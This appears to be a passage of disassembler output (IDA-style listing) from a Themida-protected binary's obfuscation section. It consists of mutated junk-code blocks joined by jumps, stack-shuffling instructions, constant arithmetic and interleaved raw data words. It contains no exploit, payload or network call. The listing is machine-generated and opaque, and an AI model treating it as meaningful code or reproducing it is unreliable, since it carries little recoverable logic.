		jmp	loc_5651C7
; ---------------------------------------------------------------------------
		db 59h
		dd 0E91C5F21h, 18BDh
; ---------------------------------------------------------------------------


loc_569D30:				; CODE XREF: Themida_:00567A68j
		push	216Dh
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		jmp	loc_56A9D9
; ---------------------------------------------------------------------------
		dw 525Ch
		dd 0E108C3BAh, 56F28117h, 0E92E3945h, 6F5Fh, 0BE243489h
		dd 5D01335Fh, 335BEE81h, 0F5015D01h, 5624348Bh,	0FF7AABE9h
		dd 48F5BFFh, 3890E924h,	1F050000h, 8B786624h, 0C481240Ch
		dd 4, 339768h, 240C8900h, 2B9h,	18820500h, 0C8012A26h
		dd 8B04E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569DAA:				; CODE XREF: Themida_:00560E1Fj
		xor	al, bh
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	4809h
		jmp	loc_56EF1E
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 5C243C87h, 8904EC83h, 1EE92424h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569DDF:				; CODE XREF: Themida_:005607C7j
		push	ecx
		push	ebx
		push	eax
		mov	eax, 2DA5575Eh
		add	eax, 17BFFA4Ah
		mov	ebx, eax
		pop	eax
		jmp	loc_561508
; ---------------------------------------------------------------------------


loc_569DF4:				; CODE XREF: Themida_:0055E374j
		shl	edi, 7
		sub	edi, 30DB4EF1h
		dec	edi
		not	edi
		add	edi, 24282323h
		mov	eax, edi
		pop	edi
		or	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56BBE5
; ---------------------------------------------------------------------------
aWsst		db 'WT',0
		align 10h
		dd 9C240409h, 0FF24FAE9h, 7BB68FFh, 4890000h, 0C043E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569E36:				; CODE XREF: Themida_:0056B6C2j
		and	ebp, 43372B97h
		jmp	loc_56FAC8
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0FAh
		dd 8149253Bh, 5CE5B6EDh, 0E9E9294Fh, 0FFFF3150h, 0FFFFFF2Dh
		dd 0E81005FFh, 0C28980C1h, 0B95FE958h, 15EFFFFh, 32ED81CDh
		dd 8B6C5B75h, 0C483240Ch, 242C8704h, 0FFDF5AE9h, 0BD5556FFh
		dd 3DFD5CDBh, 182AE9h, 56595400h, 4BEh,	0CDC18100h, 140E150h
		dd 0CDE981F1h, 0FF40E150h, 34FF2434h, 4FE4E924h, 0C890000h
		dd 4BE5624h, 89000000h,	4C015EF1h, 0C8B0424h, 4C48124h
		dd 0E9000000h, 0FFFFB65Dh, 80DCE180h, 0CA8823C1h, 0FFD0DBE9h
		dd 1DF1B8FFh, 0BA5216B7h, 0D91A15h, 0ED0BC281h,	0D0093BFDh
		dd 4FCF055Ah, 813550BDh, 357D8A63h, 0F23E0C45h,	48BC501h
		dd 4C48324h, 88DE9h, 55DAF700h,	534461BDh, 0E9EA2956h
		dd 0FFFF62C3h, 45E9EB29h, 0B5FFFF6Bh, 0BBED80FEh, 8059EB00h
		dd 0C30045C3h, 6845EB80h, 35C7h, 53240489h, 0B0B0D5B7h
		dd 1C8BF830h, 4C48324h,	5166010Ch, 0C82822B1h, 0EEE95966h
		dd 55000047h, 4BDh, 5DE88900h, 73B1C281h, 0C2014E99h, 3FD9E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569F66:				; CODE XREF: Themida_:00570000j
		add	esp, 4
		and	ebp, 38D107F7h
		add	ebp, 1F55254Eh
		mov	eax, ebp
		pop	ebp
		shl	eax, 1
		shr	eax, 2
		xor	eax, 5AB30E27h
		push	esi
		jmp	loc_56F2C3
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 3CE90000h, 5A00004Ch, 4E022548h
		dd 0E948429Ah, 5C79h
; ---------------------------------------------------------------------------


loc_569FA4:				; CODE XREF: Themida_:00562C3Aj
		add	ebx, 4015DA8Eh
		jmp	loc_56B81F
; ---------------------------------------------------------------------------


loc_569FAF:				; CODE XREF: Themida_:0056F59Ej
		pop	edi
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_56A4CB
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_567662
; ---------------------------------------------------------------------------


loc_569FD3:				; CODE XREF: Themida_:00561681j
		push	ebp
		jmp	loc_565171
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0AAh
		dd 58FFFFA8h, 5BCCE9h, 4EC8100h, 89000000h, 0E0E92404h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569FF3:				; CODE XREF: Themida_:0055D9B2j
		mov	ebp, 56B47E09h
		xor	edi, ebp
		pop	ebp
		add	edi, 0EFB5A702h
		mov	esi, edi
		pop	edi
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 27A95F25h
		sub	ebx, 726903C0h
		push	esi
		mov	esi, 3EB26736h
		jmp	loc_565930
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
aRsr5		db '$R5',0
		db 0
byte_56A053	db 66h			; DATA XREF: Themida_:0055C2CCo
		dd 8324048Bh, 48904ECh,	51E08924h, 5B2022B9h, 4248E978h
		dd 0BA52FFFFh, 4, 1E8EE9h, 25E95B00h, 66000066h, 667B80B8h
		dd 6658C289h, 8166D2F7h, 6666C3EAh, 4B2AEA81h, 0FFD387E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A095:				; CODE XREF: Themida_:0056ED11j
		sub	[edx+38h], eax
		jmp	loc_56734D
; ---------------------------------------------------------------------------


loc_56A09D:				; CODE XREF: Themida_:005654BDj
		pop	esp
		mov	[esp], ebx
		pop	eax
		push	54DDh
		mov	[esp], ecx
		mov	ecx, 6BB64AD1h
		push	ebx
		jmp	loc_55FD2A
; ---------------------------------------------------------------------------


loc_56A0B5:				; CODE XREF: Themida_:0055F88Cj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55F9CD
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 9BCE80FFh, 0EE80E6D0h, 0FFF03018h, 815A2434h, 4C4h
		dd 4966800h, 4890000h, 20E95324h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A0E3:				; CODE XREF: Themida_:0055D0B9j
		mov	ebp, 31E30BD4h
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 31E30BD4h
		mov	edi, ecx
		jmp	loc_5603D2
; ---------------------------------------------------------------------------
		dw 0F921h
		dd 83243C8Bh, 0E18104C4h, 17EE045Bh, 0FFFEBA52h, 0B0E90207h
		dd 66FFFF90h, 83240C8Bh, 516602C4h, 0C68015B1h,	80CE006Bh
		dd 59666BEEh, 36EE80h, 148B66F0h, 2C48324h, 8098B551h
		dd 0EDC0A6EDh, 4E7B6805h, 4890000h, 8070B424h, 81E9C9C4h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56A153:				; CODE XREF: Themida_:0056EB13j
		add	edi, 7D2446ADh
		shr	edi, 4
		jmp	loc_56BA4D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 24CCB568h, 2434FF7Eh, 5124148Bh, 0C181E189h,	4, 8704C183h
		dd 685C240Ch, 584Dh, 54241C89h,	4C3815Bh, 0E9000000h, 0FFFF67C6h
		dd 5C243C87h, 1A1CE953h, 0EE810000h, 0D2970B7h,	79FEC681h
		dd 0C62955F4h, 79FEEE81h, 0BB5355F4h, 3A2840B4h, 4305EBC1h
		dd 0F381DBF7h, 0F307CD4Dh, 0FFDEA1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A1C9:				; CODE XREF: Themida_:00569A21j
		push	ecx
		mov	ecx, 555817F4h
		jmp	loc_55F3DF
; ---------------------------------------------------------------------------
		dd 0DD89F389h, 148E9h, 0C0B95100h, 2921574Eh, 595359CBh
		dd 0A3E9495Bh
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A1EF:				; CODE XREF: Themida_:0056DE1Aj
		push	esp
		mov	edx, [esp]
		jmp	loc_56EA3C
; ---------------------------------------------------------------------------
aBaRSC		db '̴\C',0
		dw 0C100h
		dd 0C58107E5h, 5F9534Eh, 0E23CED81h, 0E9219482h, 0AD8AE95Dh
		dd 5D54FFFFh, 4C581h, 0EC810000h, 4, 57243489h,	44E1E9h
		dd 5EF13100h, 5DE9CA31h, 52FFFF55h, 0B606D2BAh,	0F8B85079h
		dd 0F746074Fh, 0E9D0F7D8h, 0FFFF7A3Ah
; ---------------------------------------------------------------------------


loc_56A250:				; CODE XREF: Themida_:00564D81j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56E7F0
; ---------------------------------------------------------------------------
		dd 4EA81h, 14870000h, 5788E924h, 0E959FFFFh, 4903h
; ---------------------------------------------------------------------------


loc_56A274:				; CODE XREF: Themida_:005617B6j
		jmp	loc_55C323
; ---------------------------------------------------------------------------


loc_56A279:				; CODE XREF: Themida_:005634B3j
		push	4
		jmp	loc_56F816
; ---------------------------------------------------------------------------
byte_56A283	db 0ADh			; DATA XREF: Themida_:0055C26Co
		dd offset dword_5D0468
		dd 24148900h, 0E55600BAh, 0FFD0016Ch, 555A2434h, 0C5815D54h
		dd 4, 0FFDAAAE9h, 0B8EB81FFh, 0E97D5F26h, 0FFFFB787h, 4BEh
		dd 8BF20100h, 0C4812434h, 4, 245AE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A2C6:				; CODE XREF: Themida_:0055C4DDj
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5688DB
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5B58241Ch, 6801C083h, 6EC9h, 0E9243489h
		dd 6C5Dh, 91C78159h, 0E925123Ah, 83Dh, 8AE95A66h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A2FB:				; CODE XREF: Themida_:0055D5EBj
		mov	[esp], ecx
		jmp	loc_56D956
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0A68E289h, 89000076h, 0E8B9240Ch, 0F70C551Dh
		dd 3E1C1D1h, 1DF6E9h, 0E4E95B00h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A32B:				; CODE XREF: Themida_:0056CA49j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56FE14
; ---------------------------------------------------------------------------


loc_56A34A:				; CODE XREF: Themida_:0055FF10j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_569075
; ---------------------------------------------------------------------------
		dd 0C0BAB151h, 0D1F602E9h, 80EDE180h, 0EB80E0F1h, 80CB28AAh
		dd 6859AAC3h, 4DC4h, 0FFE135E9h, 21EA81FFh, 1CC97C5h, 0D8295AD0h
		dd 703D6F2Dh, 2F7E2D73h, 0DAE97C1Ah
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56A397:				; CODE XREF: Themida_:00568372j
		mov	eax, 3B5B0AABh
		sub	eax, 3B561754h
		or	eax, 2A582772h
		jmp	loc_56DCE3
; ---------------------------------------------------------------------------


loc_56A3AB:				; CODE XREF: Themida_:0056420Dj
		mov	[esp], esi
		mov	esi, 365E3536h
		add	esi, 9DB2574h
		push	edi
		mov	edi, 74B36D1Fh
		add	edi, 773E191Ah
		jmp	loc_56CF73
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 0E09E924h, 0EF010000h, 7639B850h, 0C7295FC8h, 7A6FE958h
		dd 0AF05FFFFh, 57AD46Fh, 11386942h, 2B9515Fh, 1000000h
		dd 0FE74E9C8h, 0E94DFFFFh, 0FFFFC932h, 6356BE56h, 0F1296BB9h
		dd 0CCE9815Eh, 81729361h, 0DC2B2CC1h, 5D8AE94Ah, 0C483FFFFh
		dd 3A2B6804h, 1C890000h, 2434FF24h, 0E9241C8Bh,	0FFFFA6DBh
		dd 667C31BEh, 0AEE812Ah, 0E9395238h, 0FFFF9284h
; ---------------------------------------------------------------------------


loc_56A440:				; CODE XREF: Themida_:0056263Cj
		pop	esi
		or	esi, 1A0A5FF4h
		and	esi, 4C1125A4h
		shl	esi, 8
		add	esi, 762267ECh
		mov	ebp, esi
		pop	esi
		xor	edi, ebp
		pop	ebp
		add	eax, edi
		jmp	loc_56E07E
; ---------------------------------------------------------------------------
byte_56A463	db 66h			; DATA XREF: Themida_:0055C058o
		dd 0B8E932FFh, 5AFFFF1Eh, 4C481h, 0BA520000h, 585D6432h
		dd 4135BB53h, 0E3C14EBBh, 0D4BF5708h, 5514336Ah, 5F137BBDh
		dd 2DD3E9CBh, 5A540000h, 4C281h, 8E90000h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A49F:				; CODE XREF: Themida_:0056AD60j
		add	ebx, 0E753054h
		push	edx
		jmp	loc_564023
; ---------------------------------------------------------------------------
		db 29h
		dd 0CFBA52D8h, 128D065h, 7A2D5AD0h, 681DEF2Eh, 4110h, 0E9243489h
		dd 2F5Bh
; ---------------------------------------------------------------------------


loc_56A4C8:				; CODE XREF: Themida_:005704C6j
		mov	edx, edi
		pop	edi


loc_56A4CB:				; CODE XREF: Themida_:00565BB6j
					; Themida_:00569FBBj
		push	dword ptr [edi+24h]
		push	ecx
		jmp	loc_561C50
; ---------------------------------------------------------------------------
dword_56A4D4	dd 24048B66h, 4EC81h, 0C890000h, 0CEE95424h, 47FFFF97h
					; DATA XREF: Themida_:0055C190o
		dd 801EF81h, 0FB890200h, 8BDD015Fh, 0A7E9241Ch,	0BDFFFF73h
		dd 61713A10h, 0C103EDC1h, 0D5F704EDh, 0FFCF18E9h, 0D0C0FEFFh
		dd 0C0D8F6E8h, 0F2C05E0h, 0FFC8A9E9h, 3EBE56FFh, 8971913Ch
		dd 0CA295EF1h, 438FE959h
		db 2 dup(0FFh)
word_56A52E	dw 0E9ADh		; DATA XREF: Themida_:0055C14Co
		dd 0FFFFF2AAh, 0B0BB5352h, 53324B69h, 1C242C81h, 5A1C9824h
		dd 241CC281h, 0C1E91C98h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A54F:				; CODE XREF: Themida_:0055F5EAj
		pop	esp
		jmp	loc_561DD7
; ---------------------------------------------------------------------------
aTs??		db ',??',0
		align 4


loc_56A55C:				; CODE XREF: Themida_:0056A83Ej
		xor	bl, al
		push	esi
		jmp	loc_56EB50
; ---------------------------------------------------------------------------
		dd 68241C89h, 6D37h, 0FF8C10E9h, 0BD5552FFh, 505763D9h
		dd 1A0DBA52h, 0E9570E64h, 0FFFFCC3Fh, 69A3C281h, 0E95031D2h
		dd 0FFFF3161h
; ---------------------------------------------------------------------------


loc_56A590:				; CODE XREF: Themida_:00569CD4j
		push	dword ptr [edi+eax*4]
		jmp	loc_55C323
; ---------------------------------------------------------------------------


loc_56A598:				; CODE XREF: Themida_:0055FD9Dj
		mov	edx, 640D040Ah
		jmp	loc_562246
; ---------------------------------------------------------------------------


loc_56A5A2:				; CODE XREF: Themida_:0056C711j
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 1D1A385Eh
		push	ebx
		jmp	loc_55EDEA
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 0FFFF8701h, 5204C483h, 0C281E289h, 4, 4C281h
		dd 14870000h, 70BCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A5D6:				; CODE XREF: Themida_:00569632j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_560279
; ---------------------------------------------------------------------------


loc_56A5E3:				; CODE XREF: Themida_:00563C59j
		mov	ecx, esi
		jmp	loc_5643EB
; ---------------------------------------------------------------------------


loc_56A5EA:				; CODE XREF: Themida_:0056F5C2j
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_571405
; ---------------------------------------------------------------------------


loc_56A5F5:				; CODE XREF: Themida_:00567ED2j
		add	esp, 4
		sub	esp, 4
		jmp	loc_56B308
; ---------------------------------------------------------------------------


loc_56A603:				; CODE XREF: Themida_:00565849j
		mov	[esp], edi
		mov	edi, 0DE9C86FBh
		sub	eax, 3B95144Dh
		sub	eax, edi
		add	eax, 3B95144Dh
		jmp	loc_562311
; ---------------------------------------------------------------------------
aUtsN		db 'UT!N',0
		dw 100h
		dd 6613E9FBh, 0C781FFFFh, 0CFF207Ah, 8BF83159h,	0C481243Ch
		dd 4, 525E5456h, 20DFBD55h, 57E96E91h, 89000028h, 0E0892404h
		dd 8904EC83h, 0AE9242Ch
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A65B:				; CODE XREF: Themida_:0057145Ej
		mov	edx, [esp]
		jmp	loc_568A11
; ---------------------------------------------------------------------------
		db 1
aS_6		db '\&',0
		align 2
		dw 0EE81h
		dd 732E35EDh, 0FFB513E9h, 5EF289FFh, 5702E2C1h,	7764E0BFh
		dd 6347E92Ah, 5556FFFFh, 2BDh, 0E8895000h, 5D58C689h, 34FFF201h
		dd 24348B24h, 4C481h, 81510000h, 4ECh, 24248900h, 4240483h
		dd 0E92434FFh, 0FFFFB1B3h, 0BE243489h, 0DB750B6h, 0FF7AECE9h
		dd 69F680FFh, 0D9C380h,	0D9B450F3h, 8B58E328h, 0C4832414h
		dd 0C0B60F04h, 4E86866h, 24048966h, 0FF1C3AE9h,	5E089FFh
		dd 4, 8704E883h, 248B2404h, 24348924h, 2556B850h, 390559F7h
		dd 570192Ah, 3E9E5BAEh,	5B1EBA52h, 0FCE9752Bh, 8100002Fh
		dd 0F35C01EBh, 0C375E90Eh, 0D4BBFFFFh, 292CD962h, 4AEFE9C3h
		db 2 dup(0FFh)
word_56A72E	dw 34FFh		; DATA XREF: Themida_:0055C228o
		dd 0C2685924h, 89000014h, 0EC81241Ch, 4, 81242489h, 42404h
		dd 1C8B0000h, 36BCE924h, 0EC83FFFFh, 1F36E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A75A:				; CODE XREF: Themida_:0056FA5Aj
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_55C547
; ---------------------------------------------------------------------------
		dw 0DD29h
		dd 81F5295Bh, 0C17624C5h, 24348B4Dh, 18C1E9h, 530BE00h
		dd 742940C3h, 348B0824h, 3DA5E924h, 2C33FFFFh, 242C3124h
		dd 0FF4B21E9h, 1A11BBFFh, 5C013C99h, 47E90424h,	8300000Fh
		dd 2C8904ECh, 5992BD24h, 0E8297583h, 50242C8Bh,	25E3E9h
		dd 0F8015A00h, 0FF792DE9h, 98F181FFh, 29C98C81h, 8BC7E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A7D6:				; CODE XREF: Themida_:00564E4Ej
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5654B4
; ---------------------------------------------------------------------------
		db 33h
		dd 835C240Ch, 0C8904ECh, 81E18924h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 0C682414h, 8900000Fh, 32B7241Ch, 8002E7C0h
		dd 0B5519BE7h, 0E9EF300Ah, 0FFFF2F8Ch, 4C481h, 0C3E90000h
		dd 5CFFFFCAh, 24042166h, 1AF1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A832:				; CODE XREF: Themida_:00560573j
		shl	dh, 3
		push	eax
		mov	ah, 0C0h
		sub	dh, ah
		pop	eax
		xor	al, dh
		pop	edx
		jmp	loc_56A55C
; ---------------------------------------------------------------------------


loc_56A843:				; CODE XREF: Themida_:00568B41j
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_567E79
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0C4830000h, 0D685004h, 89000051h, 99682434h
		dd 5E5F2156h, 0AB81C681h, 0E953C277h, 13F8h
; ---------------------------------------------------------------------------


loc_56A884:				; CODE XREF: Themida_:0056083Cj
		push	ebp
		jmp	loc_56E028
; ---------------------------------------------------------------------------
		dw 5758h
		dd 1E6168h, 24248900h, 4240481h, 8B000000h, 5CE9243Ch
		dd 8B000052h, 0C483241Ch, 0B2526604h, 0E9D00079h, 0FFFF9A6Eh
; ---------------------------------------------------------------------------


loc_56A8B4:				; CODE XREF: Themida_:005631EFj
		mov	esp, [esp]
		jmp	loc_569B33
; ---------------------------------------------------------------------------


loc_56A8BC:				; CODE XREF: Themida_:0056B502j
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	13C7h
		mov	[esp], ebx
		jmp	loc_560621
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2BA5204h, 81000000h,	7E1A20C1h, 1FC1810Bh, 1333676h
		dd 1FE981D1h, 81333676h, 7E1A20E9h, 4D4CE90Bh
		db 2 dup(0FFh)
off_56A90E	dd offset dword_5A3568	; DATA XREF: Themida_:0055C09Co
		dw 0E900h
		dd 0FFFF3A06h, 15FF989h, 240C8BCAh, 8104C483h, 2126C5EAh
		dd 43F28103h, 5725FF3Ah, 0CD2BE5BFh, 5FFA3118h,	555AD529h
		dd 9C29E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A942:				; CODE XREF: Themida_:0056FE3Cj
		sub	eax, ebp
		jmp	loc_56FB25
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8104C483h, 8407E5C6h, 15D5B68h, 964CE9F2h, 815FFFFFh
		dd 4C7h, 4C78100h, 33000000h, 3C31243Ch, 243C3324h, 545F685Ch
		dd 4890000h, 40478F24h,	0FF28EBE9h, 515A54FFh, 0FF1F9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A98D:				; CODE XREF: Themida_:0056301Cj
		mov	ecx, 31D8005Bh
		sub	edi, ecx
		pop	ecx
		sub	edi, 5D520D32h
		jmp	loc_56B630
; ---------------------------------------------------------------------------
		dd 5C242C87h, 0C004C483h, 0D6F606EEh, 6866C6FEh, 8966007Fh
		dd 0CAE92404h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A9BB:				; CODE XREF: Themida_:00567CABj
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	eax, 7BC7765h
		push	3691h
		jmp	loc_55F85E
; ---------------------------------------------------------------------------


loc_56A9D9:				; CODE XREF: Themida_:00569D49j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_55D1F0
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aCTS8		db 'C',7,'S8',0
		db 0FAh, 5Bh, 4
		dd 2CD0289Fh, 12E95A9Fh, 89FFFF2Ch, 46E9241Ch, 81FFFF43h
		dd 4C3h, 4C38100h, 0E9000000h, 0FFFFA72Ch, 73392068h, 240C8B2Dh
		dd 4C481h, 48E90000h, 33FFFF8Dh, 0D1E92414h, 59FFFF65h
		dd 0FF87E1E9h, 33B850FFh, 57761279h, 0C3752ABFh, 0E9F80111h
		dd 5311h, 6804C483h, 7F8Eh, 0BF243C89h,	4, 5BE9h, 0F6D2F600h
		dd 80DAF6D2h, 0C2E951C2h, 88FFFFD2h, 10E958C6h,	81FFFF94h
		dd 9C17A7F3h, 0E95CE951h, 0EE80FFFFh, 0E9F0280Eh, 0FFFFA930h
		dd 0B247A0BAh, 3EAC170h, 6FB0E951h, 6168FFFFh, 89000064h
		dd 0EBE92404h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AAAB:				; CODE XREF: Themida_:0056FC96j
		and	ecx, 29AF51F5h
		push	edi
		jmp	loc_571304
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0E9E200C7h, 0FFFF5164h, 3C8BFB01h, 1E7B6824h, 14890000h
		dd 0E9E28924h, 37DEh, 0E480DCF6h, 269BE926h, 81590000h
		dd 4C1h, 4C18300h, 0E9240C87h, 0FFFF7750h, 0E9241C8Bh
		dd 0FFFFFF58h, 0BE243489h, 45E065CBh, 42B9B850h, 0D0F7530Eh
		dd 4FE9D8F7h, 8800000Ah, 0E18851CCh, 8B59CA88h,	0C4812404h
		dd 4, 595AD388h, 0DC88D3F6h, 5B2434FFh,	720E9h,	2E7C100h
		dd 0FF1B2DE9h, 24248BFFh, 9C240400h, 0FFC4A2E9h, 0E78957FFh
		dd 4C781h, 0C7830000h, 243C8704h, 20D9685Ch, 17E90000h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB5F:				; CODE XREF: Themida_:0056AC62j
		mov	esi, [esp]
		jmp	loc_57105A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 28E9D5F7h, 81FFFFA5h, 3F47CAE6h, 0B6C68145h,	0E907627Ah
		dd 0FFFFED89h, 0E904C483h, 0FFFF656Eh, 4A32B850h, 0C14027CDh
		dd 0E88303E8h, 2A7D0DFFh, 7EE979EFh, 0B8000035h, 7FBA0A9Ah
		dd 0E958C601h, 0FFFFE108h
dword_56ABAC	dd 6866AD66h, 896677BAh, 0BD66242Ch, 566631C4h,	799EBE66h
					; DATA XREF: Themida_:0055C1F8o
		dd 66F00166h, 8324348Bh, 2D6602C4h, 1660CFCh, 665666E8h
		dd 660CFC68h, 0F001665Eh, 53665E66h, 799EBB66h,	0E9D82966h
		dd 0FFFF2AF5h, 4EC81h, 34890000h, 2414F724h, 0E92434FFh
		dd 1EA4h, 4BDh,	5DE92900h, 0E9240C87h, 0FFFF18FDh, 8B241433h
		dd 3CD22424h, 0E7E99C24h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AC1F:				; CODE XREF: Themida_:00562871j
		xor	ebp, 0B02C24B0h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_563B4D
		push	edx
		push	ecx
		mov	ecx, 42293D46h
		mov	edx, 42293D62h
		sub	edx, 1755C57h
		jmp	loc_56832A
; ---------------------------------------------------------------------------


loc_56AC4D:				; CODE XREF: Themida_:00567E3Ej
		inc	esi
		push	0
		sub	[esp], esi
		pop	esi
		add	esi, 6F9973F6h
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_56AB5F
; ---------------------------------------------------------------------------


loc_56AC67:				; CODE XREF: Themida_:0055D2A0j
		sub	eax, 0F373958h
		mov	ebp, [esp]
		jmp	loc_55F531
; ---------------------------------------------------------------------------
		dd 0F7665266h, 5A662414h, 73EA8166h, 7C2D661Eh,	0D0296651h
		dd 517C0566h, 0FFD07AE9h
		db 0FFh
byte_56AC91	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C254o
aSH		db '$)h',0
		align 2
aQFhssr		db '-',0Dh,'HR',0
		align 4


loc_56ACA4:				; CODE XREF: Themida_:00565B3Bj
		add	edi, eax
		add	edi, 5CE7A4Dh
		pop	eax
		sub	edi, 7E6215DDh
		std
		push	27B7h
		mov	[esp], eax
		push	esp
		jmp	loc_56F93B
; ---------------------------------------------------------------------------
		dw 0B3B9h
		dd 3133ED6Bh, 0C58959C8h, 8124048Bh, 4C4h, 902E900h, 48F0000h
		dd 1DE95C24h, 51FFFF2Dh, 81CB850h, 620526DAh, 0E908A540h
		dd 550h, 8F24248Bh, 665C2404h, 81240C8Bh, 4ECh,	242C8900h
		dd 5290E9h, 24042000h, 160DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD16:				; CODE XREF: Themida_:005612E8j
		pop	ebp
		add	edx, 0FFFFFFFFh
		shl	edx, 1
		push	edi
		mov	edi, 430D17DDh
		sub	edx, edi
		pop	edi
		not	edx
		shr	edx, 1
		xor	edx, 5EE7128Fh
		push	edx
		pop	ebp
		mov	edx, [esp]
		push	edi
		jmp	loc_56AFC2
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0D8010000h, 0C4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_56AD49:				; CODE XREF: Themida_:0056648Bj
		shr	esi, 2
		sub	esi, 135BAD3Ch
		add	ebx, 2C1C1ED1h
		sub	ebx, 0E753054h
		add	ebx, esi
		jmp	loc_56A49F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 2
		dd 0F6000000h, 5E86E9D6h, 0CBBDFFFFh, 810EE123h, 0E123CFF5h
		dd 9E9AE90Eh, 3489FFFFh, 7AB2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD8A:				; CODE XREF: Themida_:00561960j
		push	ecx
		mov	ecx, 4D825F2Bh
		not	ecx
		not	ecx
		push	ebp
		mov	ebp, 418D512Fh
		inc	ebp
		xor	ebp, 50A8497Ah
		jmp	loc_562436
; ---------------------------------------------------------------------------
		dw 4BAh
